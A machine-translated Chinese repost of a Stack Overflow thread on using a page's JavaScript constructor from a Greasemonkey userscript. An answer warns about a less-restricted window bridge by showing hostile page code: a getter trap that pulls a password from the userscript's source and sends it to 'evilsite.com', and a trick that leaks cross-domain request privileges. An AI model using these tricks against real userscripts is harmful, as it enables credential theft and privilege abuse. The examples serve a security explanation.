![](/img/trans.png)
[英]How do I use jQuery in my Greasemonkey Javascript scripts?
[英]How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?
我的用户脚本将在其上运行的页面具有命名空间,命名空间定义了构造函数。 我想使用相同的构造函数创建一个对象,并使用我的用户脚本中的对象的方法。 到目前为止,我一直没有成功。 这就是我想要做的。
该页面包含以下原生javascript块:
var namespace={ constructor : function(){
this.sum = function(value1,value2){
alert(value1+value2);
}
}
}
被用作:
var pageObject=new namespace.constructor();
pageObject.sum(1,2);
在My Userscript中,我打算像pageObject一样创建一个对象,并使用我自己的参数调用sum。
我尝试过以下操作:
var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);
没有运气,虽然出现了greaseNameSpace,甚至greaseNameSpace.constructor也是一个有效的函数,使用new greaseNameSpace.constructor()会产生undefined。
也试过以下:
var greaseObject =new unsafeWindow.namespace.constructor();
再次,greaseObject仍未定义。
我在这里找到一个线程如何创建在远程页面中定义的类的对象?
但它使用eval,我想知道这是否正确?
任何和所有的帮助将非常感谢:)谢谢!
我找到了解决问题的方法。 但是要小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。
下面的代码获得了一个window
对象,没有unsafeWindow
的模糊限制。 如果它是实际页面的一部分,那么在此window
对象范围内执行的任何代码都会表现出来,类似于Google Chrome扩展程序中的内容脚本。
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
window
对象的方法/变量的代码,以便不会创建危险的孔。 不允许此函数包装器根据用户输入执行随机代码。 $_WINDOW
的正确方法,请参见示例3 下面,我将展示以危险方式实现$_WINDOW
对象的可能情况。 很明显,GM脚本的开发人员并不期望“ //page
”中的代码。
注意:某些示例(例如示例2)可能对安全(本地)基于Web的应用程序有用(例如,在file:///
协议中)。
示例3显示了使用$_WINDOW
的正确方法。
我使用了magic __defineGetter__
函数来检测对变量的调用,因为大多数脚本开发人员都不知道这个功能。 直接调用函数也会触发有害代码;
主要原因在arguments.callee.caller
。 在函数内部,该对象将引用调用当前函数的函数。 使用unsafeWindow
,无法调用arguments.callee.caller
变量。 然后该函数将显示为function SJOWContentBoundary{ [native code]}
。 但是,当使用$_WINDOW
时,远程页面可以看到并调用真正的GM功能。
示例1 :从GreaseMonkey脚本中读取(敏感)数据
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
示例2 :将跨域XMLHttpRequest
方法泄漏到任意页面。
此GM脚本的创建者旨在根据哈希更改修改页面。 但是,通过在更改URL /回调的函数中包括检查(是否应该影响页面),创建了一个洞。
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
示例3 : 正确使用
应定义变量getter,以便不能进行任意请求。 函数不应该接受变量。 如果仍然需要,请将getter包装在匿名函数中。
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";
尝试:
var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.